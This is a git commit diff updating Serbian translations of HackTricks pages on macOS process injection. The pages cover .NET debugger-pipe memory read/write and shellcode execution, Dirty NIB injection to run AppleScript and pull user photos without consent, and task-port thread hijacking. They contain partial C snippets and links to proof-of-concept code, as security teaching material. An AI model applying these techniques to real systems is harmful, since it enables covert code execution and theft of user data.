Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 05:21:53 +00:00
parent b5a6c5128a
commit 94dbca2d34
82 changed files with 3056 additions and 3929 deletions

View file

@ -1,30 +1,31 @@
# Ubacivanje .Net aplikacija na macOS
# macOS .Net Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Ovo je sažetak posta [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Pogledajte ga za dalje detalje!**
**Ovo je sažetak posta [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Proverite ga za dalje detalje!**
## .NET Core Debugiranje <a href="#net-core-debugging" id="net-core-debugging"></a>
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Uspostavljanje debugiranja** <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Usmeravanje Debugging Sesije** <a href="#net-core-debugging" id="net-core-debugging"></a>
Komunikacija između debugera i debugiranog programa u .NET-u se upravlja preko [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ovaj komponenta postavlja dve nazvane cevi po .NET procesu, kako je prikazano u [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), koje se iniciraju preko [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ove cevi su sufiksirane sa **`-in`** i **`-out`**.
Upravljanje komunikacijom između debagera i debuggee u .NET-u se vrši putem [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ova komponenta postavlja dve imenovane cevi po .NET procesu, kao što se može videti u [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), koje se iniciraju putem [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ove cevi su sa sufiksima **`-in`** i **`-out`**.
Posetom korisnikovom **`$TMPDIR`**, mogu se pronaći FIFO-ovi za debugiranje .Net aplikacija.
Posetom korisničkom **`$TMPDIR`**, mogu se pronaći debugging FIFO-ovi dostupni za debugging .Net aplikacija.
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) je odgovoran za upravljanje komunikacijom od debugera. Da bi započeo novu sesiju debugiranja, debugger mora poslati poruku putem `out` cevi koja počinje sa `MessageHeader` strukturom, detaljno opisanom u izvornom kodu .NET-a:
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) je odgovoran za upravljanje komunikacijom iz debagera. Da bi se započela nova debugging sesija, debager mora poslati poruku putem `out` cevi koja počinje sa `MessageHeader` strukturom, detaljno opisanu u .NET izvoru:
```c
struct MessageHeader {
MessageType m_eType; // Message type
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Ova zaglavlje se zatim šalje cilju koristeći `write` sistemski poziv, praćeno strukturom `sessionRequestData` koja sadrži GUID za sesiju:
Ova glava se zatim šalje cilju koristeći `write` syscall, nakon čega sledi `sessionRequestData` struktura koja sadrži GUID za sesiju:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Operacija čitanja na `out` cevi potvrđuje uspeh ili neuspeh uspostavljanja sesije za debagovanje:
Operacija čitanja na `out` cevi potvrđuje uspeh ili neuspeh uspostavljanja sesije debagovanja:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
## Čitanje memorije
Jednom kada je uspostavljena sesija za debagovanje, memorija se može čitati koristeći tip poruke [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Funkcija readMemory je detaljno opisana, izvodeći neophodne korake za slanje zahteva za čitanje i dobijanje odgovora:
## Читање Мемоарије
Када се успостави сесија дебаговања, меморија се може читати користећи [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) тип поруке. Функција readMemory је детаљно објашњена, извршавајући неопходне кораке за слање захтева за читање и преузимање одговора:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
// Allocation and initialization
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
return true;
}
```
Potpuni dokaz koncepta (POC) dostupan je [ovde](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
Kompletan dokaz koncepta (POC) je dostupan [ovde](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
## Pisanje u memoriju
## Pisanje u Memoriju
Slično tome, memorija se može pisati pomoću funkcije `writeMemory`. Postupak uključuje postavljanje tipa poruke na `MT_WriteMemory`, navođenje adrese i dužine podataka, a zatim slanje podataka:
Slično tome, memorija se može pisati koristeći funkciju `writeMemory`. Proces uključuje postavljanje tipa poruke na `MT_WriteMemory`, određivanje adrese i dužine podataka, a zatim slanje podataka:
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
// Increment IDs, set message type, and specify memory location
@ -95,35 +96,36 @@ return true;
```
Povezani POC je dostupan [ovde](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
## Izvršavanje koda u .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
## .NET Core Izvršavanje Koda <a href="#net-core-code-execution" id="net-core-code-execution"></a>
Da biste izvršili kod, potrebno je identifikovati memorijsku regiju sa dozvolama za čitanje, pisanje i izvršavanje (rwx), što se može uraditi pomoću komande vmmap -pages:
Da bi se izvršio kod, potrebno je identifikovati memorijsku oblast sa rwx dozvolama, što se može uraditi koristeći vmmap -pages:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Lociranje mesta za prepisivanje pokazivača funkcije je neophodno, a u .NET Core-u to se može postići ciljanjem **Dynamic Function Table (DFT)**. Ova tabela, detaljno opisana u [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), koristi se od strane izvršnog okruženja za JIT kompilacijske pomoćne funkcije.
Lociranje mesta za prepisivanje pokazivača funkcije je neophodno, a u .NET Core, to se može uraditi ciljanjem na **Dynamic Function Table (DFT)**. Ova tabela, detaljno opisana u [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), koristi se od strane runtime-a za JIT kompajlaciju pomoćnih funkcija.
Za x64 sisteme, može se koristiti pretraga potpisa kako bi se pronašla referenca na simbol `_hlpDynamicFuncTable` u `libcorclr.dll`.
Za x64 sisteme, pretraživanje potpisa može se koristiti za pronalaženje reference na simbol `_hlpDynamicFuncTable` u `libcorclr.dll`.
Debugger funkcija `MT_GetDCB` pruža korisne informacije, uključujući adresu pomoćne funkcije `m_helperRemoteStartAddr`, koja ukazuje na lokaciju `libcorclr.dll` u memoriji procesa. Ova adresa se zatim koristi za pretragu DFT i prepisivanje pokazivača funkcije sa adresom shell koda.
Debugger funkcija `MT_GetDCB` pruža korisne informacije, uključujući adresu pomoćne funkcije, `m_helperRemoteStartAddr`, koja ukazuje na lokaciju `libcorclr.dll` u memoriji procesa. Ova adresa se zatim koristi za započinjanje pretrage za DFT i prepisivanje pokazivača funkcije sa adresom shellcode-a.
Ceo POC kod za ubacivanje u PowerShell može se pronaći [ovde](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
Puni POC kod za injekciju u PowerShell je dostupan [ovde](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Reference
## References
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,86 +1,88 @@
# macOS Prljavi NIB
# macOS Dirty NIB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Za dalje detalje o tehnici pogledajte originalni post na: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Evo sažetka:
**Za više detalja o tehnici pogledajte originalni post sa: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Evo sažetak:
NIB fajlovi, deo Apple-ovog razvojnog ekosistema, služe za definisanje **UI elemenata** i njihovih interakcija u aplikacijama. Obuhvataju serijalizovane objekte kao što su prozori i dugmad, i učitavaju se pri izvršavanju. Uprkos njihovoj trenutnoj upotrebi, Apple sada preporučuje Storyboards za sveobuhvatniju vizualizaciju UI toka.
NIB datoteke, deo Apple-ovog razvojnog ekosistema, namenjene su definisanju **UI elemenata** i njihovim interakcijama u aplikacijama. One obuhvataju serijalizovane objekte kao što su prozori i dugmad, i učitavaju se u vreme izvođenja. I pored njihove stalne upotrebe, Apple sada preporučuje Storyboards za sveobuhvatniju vizualizaciju UI toka.
### Bezbednosne brige sa NIB fajlovima
Važno je napomenuti da **NIB fajlovi mogu predstavljati bezbednosni rizik**. Imaju potencijal da **izvršavaju proizvoljne komande**, a izmene NIB fajlova unutar aplikacije ne sprečavaju Gatekeeper da izvrši aplikaciju, što predstavlja značajnu pretnju.
### Bezbednosne brige sa NIB datotekama
Važno je napomenuti da **NIB datoteke mogu predstavljati bezbednosni rizik**. One imaju potencijal da **izvrše proizvoljne komande**, a izmene u NIB datotekama unutar aplikacije ne sprečavaju Gatekeeper da izvrši aplikaciju, što predstavlja značajnu pretnju.
### Proces zloupotrebe prljavog NIB-a
#### Kreiranje i podešavanje NIB fajla
1. **Početno podešavanje**:
- Kreirajte novi NIB fajl koristeći XCode.
- Dodajte objekat na interfejs, postavljajući mu klasu na `NSAppleScript`.
- Podesite početno svojstvo `source` putem User Defined Runtime Attributes.
### Proces injekcije Dirty NIB
#### Kreiranje i postavljanje NIB datoteke
1. **Početna konfiguracija**:
- Kreirajte novu NIB datoteku koristeći XCode.
- Dodajte objekat u interfejs, postavljajući njegovu klasu na `NSAppleScript`.
- Konfigurišite početnu `source` osobinu putem korisnički definisanih runtime atributa.
2. **Kod za izvršavanje**:
- Podešavanje omogućava pokretanje AppleScript-a po potrebi.
- Integrišite dugme za aktiviranje objekta `Apple Script`, posebno pokretanje selektora `executeAndReturnError:`.
2. **Gadget za izvršenje koda**:
- Konfiguracija omogućava pokretanje AppleScript-a na zahtev.
- Integrisati dugme za aktiviranje `Apple Script` objekta, posebno pokrećući `executeAndReturnError:` selektor.
3. **Testiranje**:
- Jednostavan AppleScript za testiranje:
- Jednostavan Apple Script za testiranje:
```bash
set theDialogText to "PWND"
display dialog theDialogText
```
- Testirajte pokretanjem u XCode debuggeru i klikom na dugme.
- Testirajte pokretanjem u XCode debageru i klikom na dugme.
#### Ciljanje aplikacije (Primer: Pages)
1. **Priprema**:
- Kopirajte ciljanu aplikaciju (npr. Pages) u poseban direktorijum (npr. `/tmp/`).
- Pokrenite aplikaciju da zaobiđete probleme sa Gatekeeper-om i keširajte je.
- Kopirajte ciljanju aplikaciju (npr. Pages) u poseban direktorijum (npr. `/tmp/`).
- Pokrenite aplikaciju da biste izbegli probleme sa Gatekeeper-om i keširali je.
2. **Pisanje preko NIB fajla**:
- Zamenite postojeći NIB fajl (npr. About Panel NIB) sa izrađenim DirtyNIB fajlom.
2. **Prepisivanje NIB datoteke**:
- Zamenite postojeću NIB datoteku (npr. About Panel NIB) sa kreiranom DirtyNIB datotekom.
3. **Izvršavanje**:
- Pokrenite izvršavanje interakcijom sa aplikacijom (npr. izborom stavke menija `About`).
3. **Izvršenje**:
- Pokrenite izvršenje interakcijom sa aplikacijom (npr. odabirom `About` menija).
#### Dokaz o konceptu: Pristupanje korisničkim podacima
- Izmenite AppleScript da pristupite i izvučete korisničke podatke, kao što su fotografije, bez pristanka korisnika.
#### Dokaz koncepta: Pristup korisničkim podacima
- Izmenite AppleScript da pristupi i izvuče korisničke podatke, kao što su fotografije, bez pristanka korisnika.
### Primer koda: Zlonamerni .xib fajl
- Pristupite i pregledajte [**primer zlonamernog .xib fajla**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) koji demonstrira izvršavanje proizvoljnog koda.
### Uzorak koda: Maliciozna .xib datoteka
- Pristupite i pregledajte [**uzorak maliciozne .xib datoteke**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) koja demonstrira izvršavanje proizvoljnog koda.
### Adresiranje ograničenja pokretanja
- Ograničenja pokretanja sprečavaju izvršavanje aplikacije sa neočekivanih lokacija (npr. `/tmp`).
- Moguće je identifikovati aplikacije koje nisu zaštićene ograničenjima pokretanja i ciljati ih za ubacivanje NIB fajla.
### Rešavanje ograničenja pokretanja
- Ograničenja pokretanja sprečavaju izvršavanje aplikacija iz neočekivanih lokacija (npr. `/tmp`).
- Moguće je identifikovati aplikacije koje nisu zaštićene Ograničenjima pokretanja i ciljati ih za injekciju NIB datoteka.
### Dodatne macOS zaštite
Od macOS Sonoma verzije nadalje, modifikacije unutar App bundle-ova su ograničene. Međutim, ranije metode su uključivale:
1. Kopiranje aplikacije na drugu lokaciju (npr. `/tmp/`).
2. Preimenovanje direktorijuma unutar App bundle-a da bi se zaobišle početne zaštite.
3. Nakon pokretanja aplikacije da se registruje kod Gatekeeper-a, modifikovanje App bundle-a (npr. zamena MainMenu.nib sa Dirty.nib).
4. Vraćanje preimenovanih direktorijuma i ponovno pokretanje aplikacije da bi se izvršio ubačeni NIB fajl.
### Dodatne zaštite macOS-a
Od macOS Sonoma nadalje, izmene unutar App bundle-a su ograničene. Međutim, ranije metode su uključivale:
1. Kopiranje aplikacije na drugo mesto (npr. `/tmp/`).
2. Preimenovanje direktorijuma unutar app bundle-a da bi se zaobišle početne zaštite.
3. Nakon pokretanja aplikacije da se registruje sa Gatekeeper-om, izmena app bundle-a (npr. zamena MainMenu.nib sa Dirty.nib).
4. Ponovno preimenovanje direktorijuma i ponovo pokretanje aplikacije da bi se izvršila injektovana NIB datoteka.
**Napomena**: Nedavne macOS nadogradnje su umanjile ovu eksploataciju sprečavanjem modifikacija fajlova unutar App bundle-a nakon keširanja od strane Gatekeeper-a, čime je eksploatacija postala neefikasna.
**Napomena**: Nedavne ažuriranja macOS-a su ublažila ovu eksploataciju sprečavanjem izmene datoteka unutar app bundle-a nakon keširanja Gatekeeper-a, čime je eksploatacija postala neefikasna.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,68 +1,69 @@
# macOS Ubacivanje niti putem Task porta
# macOS Thread Injection via Task port
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Kod
## Code
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
## 1. Hakovanje niti
## 1. Thread Hijacking
Prvo se poziva funkcija **`task_threads()`** na Task portu da bi se dobio spisak niti iz udaljenog taska. Nit se bira za hakovanje. Ovaj pristup se razlikuje od konvencionalnih metoda ubacivanja koda jer je stvaranje nove udaljene niti zabranjeno zbog nove zaštite koja blokira `thread_create_running()`.
U početku, **`task_threads()`** funkcija se poziva na task portu da bi se dobila lista niti iz udaljenog taska. Niti se biraju za preuzimanje. Ovaj pristup se razlikuje od konvencionalnih metoda injekcije koda jer je kreiranje nove udaljene niti zabranjeno zbog nove mitigacije koja blokira `thread_create_running()`.
Da bi se kontrolisala nit, poziva se funkcija **`thread_suspend()`**, koja zaustavlja njeno izvršavanje.
Da bi se kontrolisala nit, poziva se **`thread_suspend()`**, zaustavljajući njeno izvršavanje.
Jedine dozvoljene operacije na udaljenoj niti uključuju **zaustavljanje** i **pokretanje** niti, **dobijanje** i **menjanje** vrednosti registara. Udaljeni pozivi funkcija se pokreću postavljanjem registara `x0` do `x7` na **argumente**, konfigurisanjem **`pc`** da cilja željenu funkciju i aktiviranjem niti. Da bi se osiguralo da nit ne padne nakon povratka, neophodno je otkriti povratnu vrednost.
Jedine operacije dozvoljene na udaljenoj niti uključuju **zaustavljanje** i **pokretanje** nje, **dobijanje** i **modifikovanje** vrednosti njenih registara. Udaljeni pozivi funkcija se iniciraju postavljanjem registara `x0` do `x7` na **argumente**, konfigurišući **`pc`** da cilja željenu funkciju, i aktiviranjem niti. Osiguranje da nit ne sruši nakon povratka zahteva detekciju povratka.
Jedna strategija uključuje **registrovanje rukovaoca izuzecima** za udaljenu nit korišćenjem `thread_set_exception_ports()`, postavljanje registra `lr` na nevažeću adresu pre poziva funkcije. Ovo pokreće izuzetak nakon izvršavanja funkcije, šalje poruku na port izuzetka i omogućava inspekciju stanja niti radi povraćaja povratne vrednosti. Alternativno, kao što je preuzeto iz Ian Beer-ovog triple\_fetch exploit-a, `lr` je postavljen da beskonačno petlja. Registri niti se zatim neprekidno prate dok **`pc` ne pokazuje na tu instrukciju**.
Jedna strategija uključuje **registraciju handler-a za izuzetke** za udaljenu nit koristeći `thread_set_exception_ports()`, postavljajući `lr` registar na nevažeću adresu pre poziva funkcije. Ovo pokreće izuzetak nakon izvršenja funkcije, šaljući poruku na port izuzetaka, omogućavajući inspekciju stanja niti da se povrati povratna vrednost. Alternativno, kao što je preuzeto iz Ian Beer-ovog triple\_fetch exploit-a, `lr` se postavlja da beskonačno petlja. Registri niti se zatim neprekidno prate dok **`pc` ne ukazuje na tu instrukciju**.
## 2. Mach portovi za komunikaciju
## 2. Mach ports for communication
Sledeća faza uključuje uspostavljanje Mach portova radi olakšane komunikacije sa udaljenom niti. Ovi portovi su od suštinskog značaja za prenos proizvoljnih prava slanja i primanja između zadataka.
Sledeća faza uključuje uspostavljanje Mach portova za olakšavanje komunikacije sa udaljenom niti. Ovi portovi su ključni za prenos proizvoljnih prava slanja i primanja između taskova.
Za dvosmernu komunikaciju, kreiraju se dva Mach primanja prava: jedno u lokalnom, a drugo u udaljenom zadatku. Zatim se za svaki port prenosi pravo slanja na odgovarajući zadatak, omogućavajući razmenu poruka.
Za dvosmernu komunikaciju, kreiraju se dva Mach prava primanja: jedno u lokalnom i drugo u udaljenom tasku. Nakon toga, pravo slanja za svaki port se prenosi u odgovarajući task, omogućavajući razmenu poruka.
